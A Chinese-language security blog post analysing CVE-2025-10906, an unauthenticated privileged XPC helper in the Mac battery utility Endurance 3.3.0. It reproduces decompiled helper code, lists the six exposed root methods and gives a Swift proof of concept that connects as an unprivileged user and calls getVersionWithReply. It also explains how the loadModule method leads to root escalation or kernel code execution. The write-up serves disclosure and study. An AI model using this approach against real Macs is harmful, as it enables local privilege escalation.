首页 网络安全 正文
  • 本文约5641字,阅读需28分钟
  • 4
  • 0

macOS版Endurance 3.3.0漏洞CVE-2025-10906

摘要

栋科技漏洞库关注到 macOS 的 Magnetism Studios Endurance 版本 3.3.0 中存在漏洞,漏洞被追踪为CVE-2025-10906,CVSS4评分 8.6。

Endurance 是一款专为 Mac 设计的电池续航提升工具,软件旨在优化Mac电脑电池使用,通过优化系统设置和降低能耗来延长使用时间。

一、基本情况

Endurance 可在电量耗费水平自动触发或被动启用低功耗模式,通过降低处理器速度,并监控资源密集型应用程序等措施以延长电池寿命。

macOS版Endurance 3.3.0漏洞CVE-2025-10906

Endurance 省电软件主要有两大功能,一个是当电池电量剩下某个量时可以自动进入省电模式,而另一个功能就是自定义省电模式的功能。

栋科技漏洞库关注到 macOS 的 Magnetism Studios Endurance 版本 3.3.0 中存在漏洞,漏洞被追踪为CVE-2025-10906,CVSS4评分 8.6。

二、漏洞分析

CVE-2025-10906漏洞是在 macOS 上的 Magnetism Studios Endurance 版本 3.3.0 中发现了一个漏洞,漏洞现已被公开并且可能被利用。

macOS版Endurance 3.3.0安装了一个特权助手工具(com.MagnetismStudios.durability.helper),但公开一个未经身份验证NSXPC接口。

任何本地用户都可以连接到此接口,并在未经授权的情况下调用敏感方法。这允许以root身份执行特权功能。

最关键的方法(loadModuleNamed:WithReply:)使用攻击者控制的输入执行/usr/sbin/chown和/usr/bin/kextutil。

启用SIP(默认)时,该漏洞会导致本地权限升级到root。

如果SIP被明确禁用(csrutil disable),攻击者可以进一步滥用此方法加载任意内核扩展,导致内核代码执行。

漏洞影组件 NSXPC 接口/Applications/Endurance.app/Contents/Lipary/LaunchServices/com.MagnetismStudios.endurance.helper 文件。

具体来说,影响的是该文件的 loadModuleNamed:WithReply 函数。

listener:shouldAcceptNewConnection:这个方法仅验证连接是否源自预期的侦听器对象,

它不检查连接客户端的身份(无auditToken验证、无UID检查、无代码签名验证)。

macOS版Endurance 3.3.0漏洞CVE-2025-10906

/* @class TurboHelper */
-(void)listener:(int)arg2 shouldAcceptNewConnection:(int)arg3, ... {
    r14 = arg0;
    rbx = [arg2 retain];
    r15 = [arg3 retain];
    rax = [r14 listener];
    rax = [rax retain];
    if (rax == rbx) {
            [rax release];
            if (r15 != 0x0) {
                    rax = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
                    rax = [rax retain];
                    [r15 setExportedInterface:rax];
                    [rax release];
                    [r15 setExportedObject:r14];
                    [r15 resume];
                    [r15 release];
                    [rbx release];
            }
            else {
                    sub_100002536();
            }
    }
    else {
            sub_100002515();
    }
    return;
}

导出的协议HelperToolProtocol公开了六种方法。通过XPC,任何本地流程都可以调用它们。

由于助手以提升的权限运行,这些调用以root权限执行。

macOS版Endurance 3.3.0漏洞CVE-2025-10906

                     __objc_proto_HelperToolProtocol_inst_methods:
0000000100004870         struct __objc_method_list {
                             0x18,                                // flags
                             6                                    // method count
                         }
0000000100004878         struct __objc_method {                                 ; "loadModuleNamed:WithReply:","v32@0:8@16@?24"
                             aLoadmodulename,                     // name
                             aV32081624_1000033ba,                // signature
                             0x0                                  // implementation
                         }
0000000100004890         struct __objc_method {                                 ; "unloadModuleNamed:WithReply:","v32@0:8@16@?24"
                             aUnloadmodulena,                     // name
                             aV32081624_1000033ba,                // signature
                             0x0                                  // implementation
                         }
00000001000048a8         struct __objc_method {                                 ; "getTaskPowerMetricsWithReply:","v24@0:8@?16"
                             aGettaskpowerme,                     // name
                             aV240816,                            // signature
                             0x0                                  // implementation
                         }
00000001000048c0         struct __objc_method {                                 ; "getVersionWithReply:","v24@0:8@?16"
                             aGetversionwith,                     // name
                             aV240816,                            // signature
                             0x0                                  // implementation
                         }
00000001000048d8         struct __objc_method {                                 ; "enableLowPowerMode:","v24@0:8@?16"
                             aEnablelowpower,                     // name
                             aV240816,                            // signature
                             0x0                                  // implementation
                         }
00000001000048f0         struct __objc_method {                                 ; "disableLowPowerMode:","v24@0:8@?16"
                             aDisablelowpowe,                     // name
                             aV240816,                            // signature
                             0x0                                  // implementation

导出的协议(HelperToolProtocol)公开了六种方法,包括:

loadModuleNamed:WithReply:

unloadModuleNamed:WithReply:

getTaskPowerMetricsWithReply:

getVersionWithReply:

enableLowPowerMode:

disableLowPowerMode:

最关键的方法是loadmodulename:with reply::

macOS版Endurance 3.3.0漏洞CVE-2025-10906

/* @class TurboHelper */
-(int)loadModuleNamed:(int)arg2 WithReply:(int)arg3 {
    rbx = [arg3 retain];
    r14 = [arg2 retain];
    AuthorizationCreate(0x0, 0x0, 0x0, &var_28);
    rcx = var_28;
    rdx = r14;
    r15 = [SystemCommands loadModuleWithPath:rdx andAuthRef:rcx];
    [r14 release];
    rsi = @"SUCCESS";
    if (r15 == 0x0) {
            rsi = @"ERROR";
    }
    (*(rbx + 0x10))(rbx);
    rax = [rbx release];
    return rax;
}

这将使用用户提供的字符串直接调用system commands loadModuleWithPath:andAuthRef:

/* @class SystemCommands */
+(int)loadModuleWithPath:(int)arg2 andAuthRef:(int)arg3 {
    rax = [arg2 retain];
    r15 = rax;
    r12 = [[NSString stringWithFormat:@"%@", rax] retain];
    rax = [NSArray arrayWithObjects:@"-R"];
    rax = [rax retain];
    var_30 = [arg0 runTaskAsAdmin:@"/usr/sbin/chown" withAuthRef:arg3 andArgs:rax];
    [rax release];
    [r12 release];
    r12 = [[NSString stringWithFormat:@"%@", r15] retain];
    [r15 release];
    rax = [NSArray arrayWithObjects:@"-v"];
    rax = [rax retain];
    rbx = [arg0 runTaskAsAdmin:@"/usr/bin/kextutil" withAuthRef:arg3 andArgs:rax];
    [rax release];
    [r12 release];
    rax = (rbx != 0x0 ? 0x1 : 0x0) & (var_30 != 0x0 ? 0x1 : 0x0) & 0xff;
    return rax;
}

macOS版Endurance 3.3.0漏洞CVE-2025-10906

此方法在root权限下生成/usr/sbin/chown和/usr/bin/kextutil,这些参数由攻击者控制。

三、POC概念验证

在启用SIP(默认)的情况下,该漏洞允许将本地权限提升到超级用户。

如果SIP被显式禁用(csrutil disable),loadModuleWithPath方法可被滥用来加载任意内核扩展,从而导致内核代码执行。

1、连接到助手并调用getVersionWithReply的最小Swift PoC::

import Foundation

@objc protocol HelperToolProtocol {
    @objc(getVersionWithReply:)
    func getVersionWithReply(_ reply: @escaping (String) -> Void)
}

let serviceName = "com.MagnetismStudios.endurance.helper"

let connection = NSXPCConnection(machServiceName: serviceName, options: .privileged)

connection.remoteObjectInterface = NSXPCInterface(with: HelperToolProtocol.self)

connection.invalidationHandler = {
    fputs("[!] XPC invalidated\n", stderr)
    CFRunLoopStop(CFRunLoopGetMain())
}
connection.interruptionHandler = {
    fputs("[!] XPC interrupted\n", stderr)
}

connection.resume()

guard let proxy = connection.remoteObjectProxyWithErrorHandler({ error in
    fputs("[!] XPC error: \(error)\n", stderr)
    CFRunLoopStop(CFRunLoopGetMain())
}) as? HelperToolProtocol else {
    fputs("[!] Could not obtain proxy\n", stderr)
    exit(1)
}

print("[*] Connected; calling getVersion…")

let timer = DispatchSource.makeTimerSource()
timer.schedule(deadline: .now() + 5)
timer.setEventHandler {
    fputs("[!] Timeout after 5s without a reply\n", stderr)
    CFRunLoopStop(CFRunLoopGetMain())
}
timer.resume()

proxy.getVersionWithReply { version in
    print("[+] Helper version = \(version)")
    timer.cancel()
    CFRunLoopStop(CFRunLoopGetMain())
}

CFRunLoopRun()
connection.invalidate()

2、以非特权用户的身份运行这个PoC可以成功地连接到特权助手并执行导出的方法。

macOS版Endurance 3.3.0漏洞CVE-2025-10906

3、一个最小的Swift概念验证成功连接到helper并调用getVersionWithReply:作为一个非特权用户,确认未经身份验证的访问。

任何本地非特权用户都可以连接到帮助程序,并以root特权执行操作。

因为所有六个导出的方法都是未经验证的,所以它们以不同的方式扩展了攻击面:

loadModuleNamed:WithReply:

对攻击者控制的输入执行特权系统实用程序(chown,kextutil)。允许在用户主目录之外更改文件所有权,并尝试加载任意内核扩展。

这是最关键的权限提升途径。

unloadModuleNamed:WithReply:运行反向操作,也使用root权限。可能被滥用来干扰合法的内核扩展或破坏系统的稳定。

getTaskPowerMetricsWithReply:

未经授权公开详细的系统功率和能源指标。虽然不是直接的权限提升,但这表示信息泄露,可能有助于进一步的攻击。

enableLowPowerMode: / disableLowPowerMode:

以root用户身份切换macOS系统范围的低功耗状态。安全影响较低,但它展示了对全局系统设置的未经验证的任意操作。

主要影响是本地权限升级到超级用户。

由于帮助程序使用攻击者控制输入来调用kextutil,因此在SIP或安全引导限制被禁用或削弱的环境中可能进一步升级为任意内核代码执行。

四、影响范围

macOS Magnetism Studios Endurance <= 3.3.0

五、修复建议

macOS Magnetism Studios Endurance > 3.3.0

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接